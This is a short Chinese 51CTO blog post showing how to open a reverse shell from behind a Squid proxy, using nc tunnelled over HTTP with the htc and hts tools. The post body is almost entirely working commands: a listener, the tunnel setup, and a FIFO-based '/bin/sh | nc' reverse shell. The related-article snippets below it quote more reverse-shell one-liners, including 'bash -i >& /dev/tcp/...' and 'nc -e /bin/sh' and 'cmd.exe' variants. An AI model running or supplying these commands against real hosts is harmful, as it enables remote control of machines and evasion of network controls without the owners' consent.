nc 结合htc hts 反弹shell（内网代理环境下）

原创

尧山小学 2015-04-02 04:05:34 博主文章分类：Linux ©著作权

文章标签 nc 反弹 文章分类 运维

©著作权归作者所有：来自51CTO博客作者尧山小学的原创作品，请联系作者获取转载授权，否则将追究法律责任

nc 结合htc hts 反弹shell

A
192.168.31.111
监听
nc -l 1234 &

hts -F 127.0.0.1:1234 80

B
192.168.31.199
squid 代理 192.168.31.111:3128

htc -F 999 -P 127.0.0.1:3128 192.168.31.111:80

/bin/sh </usr/shell/nc/fifo|nc 127.0.0.1 999 >/usr/shell/nc/fifo &

上一篇：shell ping 网段多进程(很简单，喜欢就拿去用)

下一篇：kickstart+centos6.5+DHCP+TFTP+HTTP 实现自动部署系统

提问和评论都可以，用心的回复会被更多人看到评论

发布评论

相关文章

Centos设置内网环境下的时间同步

在一个服务器集群中，各个服务器之间需要保持时间的一致性，以确保它们在执行任务和处理数据时能够协调工作。如果服务器的时间不同步，可能会导致数据不一致、任务执行错误或者其他不可预测的问题。

CentOS Linux 后端运维服务器
Jenkins结合shell自动升级

一、创建项目选择第一项进行输入名称创建二、对项目进行配置添加引用的模块，写入引用的变量名称（这个变量相当于一个随机值，构建的时候输入什么就会引用什么）设置shell执行命令（需要jenkins配置对应服务器的免密）根据引用的server_name变量结合脚本调用实现让开发自己升级操作echo ${server_name}ssh root@10.198.6.154 "cd /ho

jenkins shell 自动升级输入服务名自动构建
内网穿透的 reverse proxy反向代理:Frp(Fast Reverse Proxy)

fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet. (github.com)远程连接常见问题-阿里云帮助中心_(ECS)-阿里云帮助中心 (aliyun.com)Frp 0.52及以上版本的全系统保姆级教程(包含frps和frpc

云服务 Server IP
linux nc反弹shell

Linux系统中的nc命令是网络工具中的一种，通常用来进行网络连接。而反弹shell是指在远程服务器上执行一个shell脚本，然后将结果返回给本地服务器。在Linux系统中，利用nc命令可以实现反弹shell的功能。在一些情况下，管理员需要在远程服务器上执行一些操作，但是却无法直接登录到远程服务器上。这时候，就可以利用反弹shell来实现远程执行命令的功能。通过nc命令的反弹功能，可以将命令从

远程服务器本地服务 bash
nc反弹shell linux

在Linux系统中，Shell是一种十分重要的命令行解释程序，它可以在用户和操作系统之间进行交互。其中，NC命令是一个网络工具，可以用来在网络中传输数据。而在渗透测试领域，NC工具常被用来进行反弹Shell操作，以获取对目标主机的控制权限。在Linux系统中，用户可以通过NC工具来连接不同的主机，创建一个可控制的Shell会话。通过反弹Shell的过程，用户可以利用NC命令将目标系统上的She

Shell 渗透测试 x系统
内网隧道代理技术（五）之 Netcat反弹Shell

Netcat简称NC,是一个简单、可靠的网络工具,被誉为网络界的瑞士军刀。通NC可以进行端口扫描、反弹Shell、端口监听和文件传输等操作

服务器网络运维网络安全安全
内网隧道代理技术（七）之Bash反弹shell

Shell也称为终端或壳，是人与内核之间的翻译官，而Bash则是Linux中默认使用的Shell

bash linux 网络安全安全网络
内网隧道代理技术（八）之Python 反弹Shell

Python由荷兰数学和计算机科学研究学会的吉多·范罗苏姆于1990年代初设计，作为一门叫做A

安全网络安全 Python 服务器 python
内网隧道代理技术（六）之 PowerCat反弹Shell

PowerCat是一个powershell写的tcp/ip瑞士军刀，看一看成ncat的powershell的实现，然后里面扫描等等。

服务器网络 tcp/ip 网络安全安全
web渗透【12】nc 反弹shell

web渗透【12】nc 反弹shell

bash python php
webshell下使用NC反弹cmdshell

前提：1.能用WebShell运行cmd命令。方法有很多，首先是WScript.Shell，如果被改名或者被删了，就找可运行目录上传cmd.exe。2.上传nc。可以跟cmd.exe上传到同一目录。步骤：1、本地监听一个端口。nc -vv -l -p 8080最好是80或8080这样的端口，被防火墙拦截的几率小很多。2、在WebShell运行下面命令连接我们

职场 webshell 休闲 cmdshell nc反弹
NC不使用-e选项反弹shell

对于瑞士军刀nc我们再熟悉不过了，经常被用来进行数据包发送，文件传送以及反弹shell。在渗透测试过程中如果想反弹shell我们通常的做法是：Attacker: nc -lnvp listenportVictim: nc attackerip listenport -e /bin/sh在Linux的大部分发行版中都默认编译了nc，但也许是出于安全考虑，发行版中默认编译的nc往往没有-e选项(没有d

NC不使用-e选项反弹shell
kali使用nc正向反弹windows shell

3.kali主机运行终端并输入 nc 192.168.31.201 8888 回车后,将反弹windows系统shell到Kali终端。2.查看windows系统IP并运行ncat监听8888端口。现在可通过这个shell对windows系统进行任何操作。1.下载 ncat.exe 并上传到windows。

windows 服务器 linux windows系统上传
NC反弹shell的几种方法

假如ubuntu、CentOS为目标服务器系统kali为攻击者的系统，ip为：192.168.0.4，开放7777端口且没被占用最终是

linux python ubuntu bash CentOS
nc远控反弹shell小实践

正向shell： 132机器A上：==>是c2的clientnc.exe -L -d -e cmd.exe -p 5555 134机器B上：nc64.exe XXX.132 5555　　然后就可以输入命令远控132机器了！我的nc都放在了桌面，所以在桌面cmd即可！反弹shell例子：134主机A上，运行如下命令监听8888端口：C:\

安全分析 Windows Desktop 2d
MyJSRat结合CHM来反弹shell

项目地址：https://github.com/Ridter/MyJSRatpython MyJSRat.py -i 192.168.61.130 -p 8080-i：

html Click github
反弹代理环境的搭建

反弹代理环境的搭建前几天工作无意中接触到这个，这个方案是同

服务器网络请求 linux
Linux下shell反弹

服务器192.168.22.134开启端口监听，监听端口1234nc -lvnp 1234++++++++++++++++++++++分割线+++++++++++++++++++++++++++客户机192.168.22.136开启反弹bash -i >& /dev/tcp/192.168.22.134/1234 0>&1反弹成功，获得客户机的shell

shell 反弹
Linux下的内网反弹实例

遇到一个案例,细节不表,把在案例中的操作方法在本机模拟了下,记录之.环境:被攻陷的Linux主机(拿到root权限)-----模拟为我内网的一台Linux服务器 192.168.0.105hack的操作用机-----我的电脑 192.168.1.101反弹到公网的服务器-----我自己的公网服务器 61.160.2xx.xxx渗透测试用的windows测试机 &nbs

linux 职场休闲 Linux下的内网反弹实例
[TIP]NC不使用-e选项反弹shell

【转自】http://www.2cto.com/article/201305/209914.html 攻击方执行：nc -lnvp 4430被攻击方执行：mknod /tmp/backpipe p/bin/sh 0</tmp/backpipe | nc 192.168.xx.xx 4430

shell nc 反弹 -e

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯